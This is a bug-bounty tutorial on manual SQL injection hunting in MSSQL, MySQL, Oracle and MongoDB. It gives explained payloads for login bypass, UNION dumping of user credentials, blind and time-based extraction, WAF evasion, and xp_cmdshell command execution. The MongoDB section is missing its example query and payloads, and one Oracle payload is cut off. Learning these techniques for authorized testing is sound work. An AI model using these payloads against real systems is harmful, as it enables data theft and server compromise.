A Comprehensive Guide to Manually Hunting SQL Injection in MSSQL, MySQL, Oracle, and NoSQL (MongoDB)
This article provides an in-depth guide on manually hunting SQL injection vulnerabilities in MSSQL, MySQL, Oracle, and NoSQL databases, detailing different methods, advanced payloads etc.
Last updated
About the Author
nav1n0x (Navin) is an IT professional with years of experience in banking, government, and heavy industries. nav1n0x has taken bug bounty hunting as a part-time passion alongside his full-time DBA job, becoming a seasoned cybersecurity expert specializing in vulnerability testing and advanced penetration techniques. With years of experience identifying and exploiting security flaws, nav1n0x has developed strong expertise in web application security, particularly in SQL injection and WAF bypassing.
Passionate about sharing knowledge, nav1n0x believes in the motto "sharing is caring." Through Twitter and GitHub (currently suspended), nav1n0x aims to empower others in the cybersecurity community to enhance their skills and stay ahead of emerging threats.
I know SQLi is a such a vulnerability that doesn't need much introduction, but I would like to start this article with a simple one.
SQL Injection (SQLi) is a critical web security vulnerability that allows attackers to interfere with the queries that an application makes to its database. By manipulating the SQL queries, attackers can retrieve, modify, or delete data, execute administrative tasks, or even gain complete control over the database server. This article provides an in-depth guide on manually hunting SQL injection vulnerabilities in MSSQL, MySQL, Oracle, and NoSQL databases, detailing every possible method, advanced payloads, some of my methodology, and automation techniques.
Understanding SQL Injection
Types of SQL Injection
Classic SQL Injection: Exploiting web inputs to manipulate SQL queries.
Blind SQL Injection: When no error messages are displayed, the attacker must (blindly) guess information based on the application's response time or behavior; hence the name Blind SQL injection.
Out-of-Band SQL Injection: Using alternative methods such as DNS or HTTP (Ex: Burp Suite Collaborator) channels to exfiltrate data.
Second-Order SQL Injection: This involves placing malicious SQL queries in a part of the application though HTTP Request, where it doesn't immediately cause harm. Instead later, when the application processes this data in a different context, the malicious query gets executed, allowing the attacker to exploit the vulnerability.
How SQL Injection Works
Basically, SQL Injection exploits improper handling of user input within SQL queries. here is how SQL Injection works in a simple terms. Please note the complex SQL injection would have more complex payloads to insert.
Imagine a simple login form with following:
SELECT*FROM users WHERE username ='$username'ANDpassword='$password';
If user input isn't properly sanitized, an attacker can input username' OR '1'='1 to bypass authentication:
SELECT*FROM users WHERE username ='admin'OR'1'='1'ANDpassword='';
When the SQL Injection is executed, here's what happens:
The application has a login form where users enter their username and password.
The SQL query to check the user's credentials looks like this:
SELECT*FROM users WHERE username ='$username'ANDpassword='$password';
If the input from the user is not properly sanitized, an attacker can input a username like admin' OR '1'='1 and any password, such as an empty string.
The SQL query then becomes:
SELECT*FROM users WHERE username ='admin'OR'1'='1'ANDpassword='';
The condition OR '1'='1' is always true, so the query effectively turns into:
SELECT*FROM users WHERE username ='admin'OR true ANDpassword='';
Because the OR true part makes the whole condition true regardless of the password, the database returns all rows where the username is 'admin' or the condition 1=1 is true (which is always).
As a result, the attacker is authenticated as the first user in the database that matches the username condition, potentially gaining unauthorized access to the application.
Manual SQL Injection Techniques
MSSQL
Union-Based Injection
Determine the number of columns:
' ORDER BY 1--'
Increment the number until an error occurs.
Union attack to extract data:
' UNION SELECT NULL, username, password FROM users--'
When an attacker uses the SQL Injection query ' UNION SELECT NULL, username, password FROM users--', here's what happens:
Understanding UNION: The UNION operator is used in SQL to combine the results of two SELECT queries. Both queries must return the same number of columns and compatible data types.
Original Query Context: Assume the application has a query like:
SELECT id, nameFROM products WHERE category ='$category';
Injected Query: The attacker inputs ' UNION SELECT NULL, username, password FROM users-- as the category, making the query:
SELECT id, nameFROM products WHERE category =''UNIONSELECTNULL, username, passwordFROM users--';
Breaking Down the Injected Query:
-- is a comment indicator in SQL, so anything after -- is ignored by the SQL engine.
UNION SELECT NULL, username, password FROM users combines the original query results with the results of the new query.
NULL is used to match the number of columns in the original query (assuming the original query returns two columns).
username, password FROM users retrieves the username and password columns from the users table.
Effect:
The original query fetches products based on the specified category.
The UNION part fetches NULL and the username and password from the users table.
The result is a combination of product data and user credentials.
Final Result: The attacker now sees a result set that includes NULL values followed by usernames and passwords from the users table, effectively exposing sensitive information.
Error-Based Injection
Force an error to reveal information:
' AND 1=CONVERT(int, (SELECT @@version))--'
When an attacker uses the SQL Injection query ' AND 1=CONVERT(int, (SELECT @@version))--', here's what happens:
Original Query Context: Assume the application has a query like:
SELECT*FROM products WHERE category ='$category';
Injected Query: The attacker inputs ' AND 1=CONVERT(int, (SELECT @@version))-- as the category, making the query:
SELECT*FROM products WHERE category =''AND1=CONVERT(int, (SELECT @@version))--';
Breaking Down the Injected Query:
-- is a comment indicator in SQL, so anything after -- is ignored by the SQL engine.
AND 1=CONVERT(int, (SELECT @@version)) is the injected condition.
SELECT @@version retrieves the database server version.
Understanding the Injection:
CONVERT(int, (SELECT @@version)) attempts to convert the database server version (a string) to an integer.
This conversion will fail because the version string cannot be converted to an integer.
The failure of the conversion will cause an error in the SQL query.
Effect:
The SQL server will throw an error because it cannot convert the version string to an integer.
Depending on the database error handling and the application's error reporting, the error message may be displayed to the attacker.
Final Result: The error message might reveal information about the database version or other internal details, which can help the attacker to further understand the database system and plan more targeted attacks.
Blind SQL Injection
Boolean-Based:
Check for true/false conditions:
' AND 1=1--' (true)' AND 1=2--' (false)
Extract data bit by bit:
' AND ASCII(SUBSTRING((SELECT @@version), 1, 1)) > 77--'
In Boolean-Based SQL Injection, the attacker checks for true/false conditions to infer information from the database. Here's a detailed explanation:
Checking for True/False Conditions
True Condition:
' AND 1=1--'
Explanation:
AND 1=1 is always true.
This condition doesn't change the outcome of the query, so the response will be the same as if no injection occurred.
If the application behaves normally (e.g., displays results), it indicates that the injection is successful.
False Condition:
' AND 1=2--'
Explanation:
AND 1=2 is always false.
This condition will make the query return no results or behave differently.
If the application shows an error or no results, it confirms the presence of an injection point.
Extracting Data Bit by Bit
Extracting Information Using Boolean Conditions:
' AND ASCII(SUBSTRING((SELECT @@version), 1, 1)) > 12--'
Explanation:
SELECT @@version retrieves the database version string.
SUBSTRING((SELECT @@version), 1, 1) extracts the first character of the version string.
ASCII(SUBSTRING((SELECT @@version), 1, 1)) gets the ASCII value of the first character.
> 12checks if the ASCII value of the first character is greater than 12.
Depending on whether the condition is true or false, the application’s response will differ, helping the attacker infer the ASCII value of the character.
Process of Extracting The Data:
Initial Injection:
Inject a query to determine if the first character of the database version's ASCII value is greater than a certain number.
For example, > 77 (where 77 is the ASCII value for the character 'M').
Binary Search:
Adjust the number incrementally based on the true/false response.
For example:
' AND ASCII(SUBSTRING((SELECT @@version), 1, 1)) > 77--' (if true, then the character is after 'M')
' AND ASCII(SUBSTRING((SELECT @@version), 1, 1)) > 100--' (if true, then the character is after 'd')
Continue narrowing down until the exact ASCII value is found.
Repeat for Subsequent Characters:
Move to the next character in the string and repeat the process.
' AND ASCII(SUBSTRING((SELECT @@version), 2, 1)) > 77--' to find the second character.
Example of Binary Search Method:
Check if the first character is greater than 'M' (77):
' AND ASCII(SUBSTRING((SELECT @@version), 1, 1)) > 77--'
If true, check if greater than 'd' (100):
' AND ASCII(SUBSTRING((SELECT @@version), 1, 1)) > 100--'
If false, check if greater than 'M' but less than 'd':
' AND ASCII(SUBSTRING((SELECT @@version), 1, 1)) > 77 AND ASCII(SUBSTRING((SELECT @@version), 1, 1)) < 100--'
Continue narrowing down until the exact value is found.
Time-Based
Use time delays to infer information:
' IF 1=1 WAITFOR DELAY '00:00:10'--' (true)' IF 1=2 WAITFOR DELAY '00:00:10'--' (false)
Time-Based SQL Injection
Time-Based SQL Injection is a technique where an attacker uses the response time of the database to infer information about the database structure or contents. This method is particularly useful when the application does not return error messages or other visible feedback that might reveal the success or failure of an injection attempt.
How Time-Based SQL Injection Works
Identification of Injection Point:
The attacker identifies a vulnerable parameter in the web application that interacts with the database. This is often done through trial and error with various payloads.
Introducing Delays:
The attacker injects SQL commands designed to cause the database to delay its response if a certain condition is true. The response time difference indicates whether the injected condition was true or false.
Example Payloads:
True Condition (Induces Delay):
' IF 1=1 WAITFOR DELAY '00:00:10'--
IF 1=1 is always true.
WAITFOR DELAY '00:00:10' causes the database to wait for 10 seconds before continuing.
-- comments out the rest of the original SQL statement.
False Condition (No Delay):
' IF 1=2 WAITFOR DELAY '00:00:10'--
IF 1=2 is always false.
WAITFOR DELAY '00:00:10' does not execute, so there is no delay.
Extracting Data:
The attacker can craft conditions to extract specific pieces of information. By varying the condition and measuring the response time, the attacker can infer the values of database contents.
Step-by-Step Example
Step 1: Identifying the Vulnerability
Suppose an application has a query like:
SELECT id, nameFROM products WHERE category ='$category';
The attacker injects:
' IF 1=1 WAITFOR DELAY '00:00:10'--
If the response is delayed by 10 seconds, the parameter is likely vulnerable to SQL Injection.
Step 2: Confirming the Injection Point
To confirm, the attacker injects:
' IF 1=2 WAITFOR DELAY '00:00:10'--
If there is no delay, it confirms the injection point.
Step 3: Extracting Information
Example: Extracting the First Character of the Database Version
The attacker uses a payload to check if the ASCII value of the first character of the database version is greater than a certain value:
If the response is delayed, the ASCII value of the first character is greater than 77.
If not, it is 77 or less.
The attacker narrows down the value using binary search methods until the exact character is determined.
Advanced Time-Based SQL Injection
Extract Database Names:
' UNION SELECT name FROM master..sysdatabases--
Combines results with the original query, showing database names.
Extract Table Names:
' UNION SELECT table_name FROM database_name.information_schema.tables--
Combines results with the original query, showing table names from the specified database.
Using Time Delays to Infer Information
True Condition with Time Delay
' IF 1=1 WAITFOR DELAY '00:00:10'--'
Explanation:
IF 1=1 is always true.
WAITFOR DELAY '00:00:10' causes the SQL server to wait for 10 seconds before continuing.
-- is a comment indicator, so anything after it is ignored.
When this query is injected, the server pauses for 10 seconds if the condition is true, indicating to the attacker that the injection is successful and the condition is met.
False Condition with Time Delay
' IF 1=2 WAITFOR DELAY '00:00:10'--'
Explanation:
IF 1=2 is always false.
WAITFOR DELAY '00:00:10' only executes if the condition is true, but since it’s false, the delay doesn’t happen.
When this query is injected, there is no delay, indicating to the attacker that the condition is false and the injection is not successful.
Extract Database Names
' UNION SELECT name FROM master..sysdatabases--'
Explanation:
UNION SELECT is used to combine the result of this query with the result of the original query.
name FROM master..sysdatabases selects the names of all databases in the SQL server.
-- comments out the rest of the original query.
When this payload is used, the attacker gets a list of all database names on the server.
Extract Table Names from a Specific Database
' UNION SELECT table_name FROM database_name.information_schema.tables--'
Explanation:
UNION SELECT is used to combine the result of this query with the result of the original query.
table_name FROM database_name.information_schema.tables selects the names of all tables in a specified database (database_name).
-- comments out the rest of the original query.
When this payload is used, the attacker gets a list of all table names in the specified database.
Detailed Example with Time Delays
Purpose of Time-Based SQL Injection
Time-based SQL Injection is a technique where an attacker uses time delays to determine whether their injected queries are being executed.
It’s particularly useful when the database doesn't return error messages or visible feedback.
Step-by-Step Process:
Determine Injection Point:
Inject a simple payload to identify if the input is vulnerable to SQL injection.
' OR 1=1--
Observe if the application behaves differently or returns different results.
Introduce Time Delay:
Inject a payload to cause a delay if the condition is true.
' IF 1=1 WAITFOR DELAY '00:00:10'--
If the application response is delayed by 10 seconds, it confirms the injection point.
Test False Condition:
Inject a payload to cause a delay if the condition is false.
' IF 1=2 WAITFOR DELAY '00:00:10'--
If the application response is not delayed, it further confirms the injection point.
Extract Data Using Delays:
Use conditions to extract specific information, such as the first character of the database version.
If the response is delayed, it indicates the first character’s ASCII value is greater than 77.
Continue refining the condition to determine the exact value.
Example of Extracting Database Names
Process:
Original Query Context:
Assume the original query is:
SELECT id, nameFROM products WHERE category ='$category';
Injected Query:
' UNION SELECT name FROM master..sysdatabases--
The resulting query becomes:
SELECT id, nameFROM products WHERE category =''UNIONSELECTnameFROMmaster..sysdatabases--;
Effect:
The UNION part fetches database names and combines them with the product data.
The attacker sees a list of database names, indicating the injection point is successful and providing valuable information for further exploitation.
Example of Extracting Table Names
Process:
Identify Database Name:
Use previous payload to identify databases, e.g., database_name.
Injected Query:
' UNION SELECT table_name FROM database_name.information_schema.tables--
The resulting query becomes:
SELECT id, name FROM products WHERE category = '' UNION SELECT table_name FROM database_name.information_schema.tables--;
Effect:
The UNION part fetches table names from the specified database.
The attacker sees a list of table names, providing further insights into the database structure.
By using these advanced SQL Injection techniques, attackers can gather detailed information about the database, which can then be used to launch more targeted and potentially damaging attacks. Proper input validation and use of parameterized queries are essential to prevent such vulnerabilities.
MySQL
Classic SQL Injection
Union-Based Injection:
Determine the number of columns:
' ORDER BY 1--'
Increment until an error occurs.
Union attack to extract data:
' UNION SELECT NULL, username, password FROM users--'
Error-Based Injection:
Use functions like EXTRACTVALUE to force errors:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--'
Blind SQL Injection
Boolean-Based:
Check for true/false conditions:
' AND 1=1--' (true)' AND 1=2--' (false)
Extract data character by character:
' AND ASCII(SUBSTRING((SELECT database()), 1, 1)) = 97--'
Time-Based:
Use SLEEP function to infer information:
' AND IF(1=1, SLEEP(5), 0)--' (true)' AND IF(1=2, SLEEP(5), 0)--' (false)
Advanced Payloads
Extract database names:
' UNION SELECT SCHEMA_NAME FROM information_schema.schemata--'
Extract table names from a specific database:
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name'--'
MySQL SQL Injection Payloads Explained
Determine the Number of Columns:
' ORDER BY 1--
ORDER BY 1 orders the result by the first column.
Increment the number until an error occurs to find the number of columns in the result set.
For example, if ORDER BY 4-- causes an error, then the table has 3 columns.
Union Attack to Extract Data:
' UNION SELECT NULL, username, password FROM users--
UNION SELECT combines the result of the original query with the result of the injected query.
NULL is used to fill columns that are not needed, ensuring the column count matches.
username, password FROM users retrieves data from the users table.
Results from the users table are displayed in the response, exposing usernames and passwords.
Error-Based Injection
Use Functions Like EXTRACTVALUE to Force Errors:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--
EXTRACTVALUE is a MySQL function that can be used to force an error.
CONCAT concatenates strings.
0x7e represents the tilde (~) character in hexadecimal.
(SELECT version()) fetches the MySQL version.
The result is an error message containing the MySQL version, thus revealing information.
Boolean-Based Injection
Check for True/False Conditions:
True Condition:
' AND 1=1--
1=1 is always true.
If the response is normal, it confirms the injection point.
False Condition:
' AND 1=2--
1=2 is always false.
If the response changes (e.g., no results), it confirms the injection point.
Extract Data Character by Character:
' AND ASCII(SUBSTRING((SELECT database()), 1, 1)) = 97--
SUBSTRING((SELECT database()), 1, 1) extracts the first character of the database name.
ASCII converts the character to its ASCII value.
= 97 checks if the ASCII value of the first character is 97 (which is 'a').
Depending on the response, the attacker can infer the first character and repeat for subsequent characters.
Time-Based Injection
Use SLEEP Function to Infer Information:
True Condition:
' AND IF(1=1, SLEEP(5), 0)--
IF(1=1, SLEEP(5), 0) checks if 1=1 (always true), then executes SLEEP(5), causing a 5-second delay.
If the response is delayed, it confirms the injection point.
False Condition:
' AND IF(1=2, SLEEP(5), 0)--
IF(1=2, SLEEP(5), 0) checks if 1=2 (always false), so SLEEP(5) is not executed.
If the response is not delayed, it confirms the injection point.
Advanced Payloads
Extract Database Names:
' UNION SELECT SCHEMA_NAME FROM information_schema.schemata--
UNION SELECT combines the result of the original query with the result of the injected query.
SCHEMA_NAME FROM information_schema.schemata retrieves all database names.
The result includes the names of all databases on the server.
Extract Table Names from a Specific Database:
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name'--
UNION SELECT combines the result of the original query with the result of the injected query.
table_name FROM information_schema.tables retrieves table names.
WHERE table_schema = 'database_name' filters tables by the specified database name.
The result includes the names of all tables in the specified database.
Oracle
Classic SQL Injection
Union-Based Injection:
Determine the number of columns:
' ORDER BY 1--'
Increment until an error occurs.
Union attack to extract data:
' UNION SELECT NULL, username, password FROM users--'
Error-Based Injection:
Use Oracle-specific functions to force errors:
' AND 1=(SELECT UTL_INADDR.get_host_address('0'))--'
Oracle SQL Injection Payloads Explained
Classic SQL Injection and Union-Based Injection
Determine the Number of Columns:
' ORDER BY 1--
Explanation:
ORDER BY 1 orders the result by the first column.
Increment the number until an error occurs to find the number of columns in the result set.
For example, if ORDER BY 4-- causes an error, then the table has 3 columns.
This helps the attacker understand the structure of the query and the number of columns returned.
Union Attack to Extract Data:
' UNION SELECT NULL, username, password FROM users--
Explanation:
UNION SELECT combines the result of the original query with the result of the injected query.
NULL is used to fill columns that are not needed, ensuring the column count matches.
username, password FROM users retrieves data from the users table.
Results from the users table are displayed in the response, exposing usernames and passwords.
Error-Based Injection
Use Oracle-Specific Functions to Force Errors:
' AND 1=(SELECT UTL_INADDR.get_host_address('
Explanation:
UTL_INADDR.get_host_address is an Oracle-specific function that resolves a hostname to an IP address.
If the input is not a valid hostname or cannot be resolved, it causes an error.
This can be used to reveal information about the database or the application by forcing error messages to be displayed.
Detailed Example of Oracle SQL Injection Payloads
Step-by-Step Process:
Determine the Number of Columns:
' ORDER BY 1--
Inject this payload and increment the number until an error occurs.
For example:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4-- (Error occurs here)
The error at ORDER BY 4-- indicates that the table has 3 columns.
Union Attack to Extract Data:
' UNION SELECT NULL, username, password FROM users--
This payload combines the result of the original query with the injected query.
NULL is used to match the number of columns.
username, password FROM users retrieves data from the users table.
The attacker sees usernames and passwords in the application response.
Error-Based Injection Using Oracle Functions:
' AND 1=(SELECT UTL_INADDR.get_host_address('invalid_host'))--
UTL_INADDR.get_host_address('invalid_host') tries to resolve invalid_host to an IP address.
Since invalid_host is not a valid hostname, this causes an error.
The error message might reveal database information, such as version, schema details, or other configuration settings.
Union-Based Injection: Determine the number of columns using ORDER BY and use UNION SELECT to extract data from other tables.
Error-Based Injection: Use Oracle-specific functions like UTL_INADDR.get_host_address to force errors and reveal information.
Blind SQL Injection
Boolean-Based:
Check for true/false conditions:
' AND 1=1--' (true)
' AND 1=2--' (false)
Extract data bit by bit:
' AND ASCII(SUBSTR((SELECT version FROM v$instance), 1, 1)) > 77--'
Time-Based:
Use DBMS_LOCK.SLEEP to infer information:
' BEGIN DBMS_LOCK.SLEEP(10); END;--'
Oracle Blind SQL Injection Payloads Explained
Blind SQL Injection and Boolean-Based Injection
Check for True/False Conditions:
True Condition:
' AND 1=1--
Explanation:
AND 1=1 is always true.
The query will execute normally, and the application's behavior will not change.
If the response is the same as a normal request, it indicates the injection point is valid.
False Condition:
' AND 1=2--
Explanation:
AND 1=2 is always false.
The query will return no results or behave differently.
If the response changes (e.g., no results), it confirms the injection point.
Extract Data Bit by Bit:
' AND ASCII(SUBSTR((SELECT version FROM v$instance), 1, 1)) > 77--
Explanation:
SELECT version FROM v$instance retrieves the Oracle database version.
SUBSTR((SELECT version FROM v$instance), 1, 1) extracts the first character of the version string.
ASCII converts the character to its ASCII value.
> 77 checks if the ASCII value of the first character is greater than 77 (which corresponds to the character 'M').
Depending on the response (e.g., whether the application returns results), the attacker can infer whether the condition is true.
This method can be repeated, adjusting the ASCII value check, to determine the exact character. The attacker can then move to the next character.
Time-Based Injection
Use DBMS_LOCK.SLEEP to Infer Information:
' BEGIN DBMS_LOCK.SLEEP(10); END;--
Explanation:
DBMS_LOCK.SLEEP(10) causes the database to pause for 10 seconds.
BEGIN ... END; is used to wrap the PL/SQL block.
If the application response is delayed by 10 seconds, it confirms the injection point.
This method can be used to infer true/false conditions based on the presence or absence of a delay.
Detailed Example of Oracle Blind SQL Injection Payloads
Step-by-Step Process:
Identify Injection Point with Boolean-Based Conditions:
True Condition:
' AND 1=1--
Inject this payload and observe the application's response.
If the response is normal, it indicates a valid injection point.
False Condition:
' AND 1=2--
Inject this payload and observe the application's response.
If the response changes (e.g., no results), it confirms the injection point.
Extract Data Bit by Bit:
' AND ASCII(SUBSTR((SELECT version FROM v$instance), 1, 1)) > 77--
Inject this payload to check if the ASCII value of the first character of the database version is greater than 77.
If the response indicates the condition is true, then the first character's ASCII value is greater than 77.
Adjust the value to narrow down the exact ASCII value, e.g.,
' AND ASCII(SUBSTR((SELECT version FROM v$instance), 1, 1)) > 85--
Repeat for subsequent characters:
' AND ASCII(SUBSTR((SELECT version FROM v$instance), 2, 1)) > 77--
Use Time-Based Injection:
' BEGIN DBMS_LOCK.SLEEP(10); END;--
Inject this payload to cause a 10-second delay if the injection point is valid.
If the application's response is delayed by 10 seconds, it confirms the injection point.
To extract data, use conditions to cause a delay based on true/false outcomes:
' BEGIN IF (ASCII(SUBSTR((SELECT version FROM v$instance), 1, 1)) > 77) THEN DBMS_LOCK.SLEEP(10); END IF; END;--
If the response is delayed, the condition is true; otherwise, it's false.
Boolean-Based Injection: Check for true/false conditions to confirm injection points and extract data bit by bit using ASCII values and SUBSTR.
Time-Based Injection: Use the DBMS_LOCK.SLEEP function to cause delays and infer information based on response time.
Advanced Payloads
Extract database version:
' UNION SELECT banner FROM v$version--'
Extract table names:
' UNION SELECT table_name FROM all_tables--'
Oracle SQL Injection Advanced Payloads Explained
Advanced SQL Injection Payloads
Extract Database Version:
' UNION SELECT banner FROM v$version--
Explanation:
UNION SELECT combines the result of the original query with the result of the injected query.
banner FROM v$version retrieves the database version information.
v$version is a dynamic performance view in Oracle that contains version information.
When this payload is injected, the response will include the database version, revealing detailed version information.
Extract Table Names:
' UNION SELECT table_name FROM all_tables--
Explanation:
UNION SELECT combines the result of the original query with the result of the injected query.
table_name FROM all_tables retrieves the names of all tables accessible to the user.
all_tables is a data dictionary view that contains information about all tables that are visible to the current user.
When this payload is injected, the response will include the names of all tables, allowing the attacker to understand the structure of the database.
Detailed Example of Oracle Advanced SQL Injection Payloads
Step-by-Step Process:
Extract Database Version:
' UNION SELECT banner FROM v$version--
Inject this payload into a vulnerable parameter.
The resulting query might look something like this:
SELECT id, name FROM products WHERE category = '' UNION SELECT banner FROM v$version--
The response will include the banner information from v$version, which provides the database version details.
Extract Table Names:
' UNION SELECT table_name FROM all_tables--
Inject this payload into a vulnerable parameter.
The resulting query might look something like this:
SELECT id, name FROM products WHERE category = '' UNION SELECT table_name FROM all_tables--
The response will include the names of all tables that the current user has access to, giving the attacker insight into the database structure.
Extract Database Version: Use UNION SELECT banner FROM v$version-- to retrieve detailed version information of the Oracle database.
Extract Table Names: Use UNION SELECT table_name FROM all_tables-- to list all tables accessible to the current user.
NoSQL (MongoDB)
What is NoSQL (MongoDB)?
NoSQL Databases: NoSQL databases are a category of database management systems that are designed to handle a wide variety of data models, including document, key-value, graph, and column-family structures. Unlike traditional relational databases (SQL), NoSQL databases are optimized for large-scale data storage and retrieval, and they are designed to scale horizontally.
MongoDB: MongoDB is a popular NoSQL database that stores data in a flexible, JSON-like format called BSON (Binary JSON). It is designed to handle large volumes of data and provides high availability and scalability. MongoDB is widely used for its ease of use, flexibility, and ability to handle a variety of data types.
NoSQL (MongoDB) Injection Explained
NoSQL Injection: NoSQL injection is a security vulnerability that occurs when an attacker manipulates a NoSQL query to gain unauthorized access to the database. Similar to SQL injection, NoSQL injection exploits improper handling of user inputs, allowing attackers to alter the intended query behavior and potentially retrieve, modify, or delete data.
How NoSQL (MongoDB) Injection Works:
Input Validation Failure:
Just like in SQL injection, NoSQL injection occurs when user inputs are not properly validated or sanitized.
If user inputs are directly included in database queries without proper validation, attackers can craft malicious inputs to manipulate the query.
Query Structure:
MongoDB queries are typically constructed using JSON-like objects. For example, a simple query to find a user might look like this:
This payload is used to extract database information, specifically the names of all collections in the database.
db.getCollectionNames() retrieves an array of all collection names.
forEach(function(c) { print(c); }); iterates over each collection name and prints it.
This provides the attacker with a list of collections, giving insight into the database structure.
Other Obfuscation Techniques
Encoding:
Use URL encoding, double encoding, or base64 encoding to bypass filters.
Comment Injection:
Inject comments to disrupt filtering:
' UNION SELECT /* comment */ username, password FROM users--'
Bypassing Web Application Firewalls (WAFs)
String Concatenation:
Break payloads into pieces:
' UNION SELECT username, password FROM us' + 'ers--'
Case Variation:
Use varying cases to bypass case-sensitive filters:
' UnIoN sElEcT username, password FROM users--'
Alternative Syntax:
Use different SQL syntax to achieve the same result:
' UNION SELECT username, password FROM users WHERE '1'='1'--
Exploiting Database Features
Stored Procedures:
Leverage stored procedures for more complex attacks:
'; EXEC xp_cmdshell('dir');--
Function Injection:
Inject database-specific functions:
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('X', 10)--'
Conclusion
Manually hunting for SQL injection vulnerabilities requires knowing SQL syntax, database behavior, and injection techniques. By learning both basic and advanced methods, creating your own methodologies, and some time automating tasks, security professionals can find and exploit SQL injection flaws in various database systems. This guide covers the basics and advanced techniques needed to become skilled in manual SQL injection hunting for MSSQL, MySQL, Oracle, and NoSQL databases.